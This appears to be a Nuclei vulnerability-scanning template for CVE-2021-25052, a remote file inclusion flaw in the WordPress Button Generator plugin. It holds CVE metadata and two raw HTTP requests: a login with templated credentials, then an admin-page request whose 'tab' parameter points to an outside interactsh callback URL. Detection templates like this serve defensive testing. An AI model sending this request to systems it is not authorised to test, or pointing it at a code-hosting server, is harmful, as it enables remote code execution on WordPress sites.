WordPress Button Generator <2.3.3 - Remote File Inclusion

id: CVE-2021-25052

info:
  name: WordPress Button Generator <2.3.3 - Remote File Inclusion
  author: cckuailong
  severity: high
  description: WordPress Button Generator before 2.3.3 within the wow-company admin menu page allows arbitrary file inclusion with PHP extensions (as well as with data:// or http:// protocols), thus leading to cross-site request forgery and remote code execution.
  impact: |
    An attacker can exploit this vulnerability to execute arbitrary code on the target system.
  remediation: |
    Update to the latest version of the WordPress Button Generator plugin (2.3.3) to fix the remote file inclusion vulnerability.
  reference:
    - https://wpscan.com/vulnerability/a01844a0-0c43-4d96-b738-57fe5bfbd67a
    - https://nvd.nist.gov/vuln/detail/CVE-2021-25052
    - https://plugins.trac.wordpress.org/changeset/2641639/button-generation
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
    cvss-score: 8.8
    cve-id: CVE-2021-25052
    cwe-id: CWE-352
    epss-score: 0.01998
    epss-percentile: 0.88806
    cpe: cpe:2.3:a:wow-company:button_generator:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 2
    vendor: wow-company
    product: button_generator
    framework: wordpress
  tags: cve2021,cve,wp-plugin,authenticated,wpscan,rfi,wp,wordpress,wow-company

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Origin: {{RootURL}}
        Content-Type: application/x-www-form-urlencoded
        Cookie: wordpress_test_cookie=WP%20Cookie%20check

        log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1
      - |
        GET /wp-admin/admin.php?page=wow-company&tab=http://{{interactsh-url}}/ HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        name: "http"
        part: interactsh_protocol
        words:
          - "http"

      - type: status
        status:
          - 200
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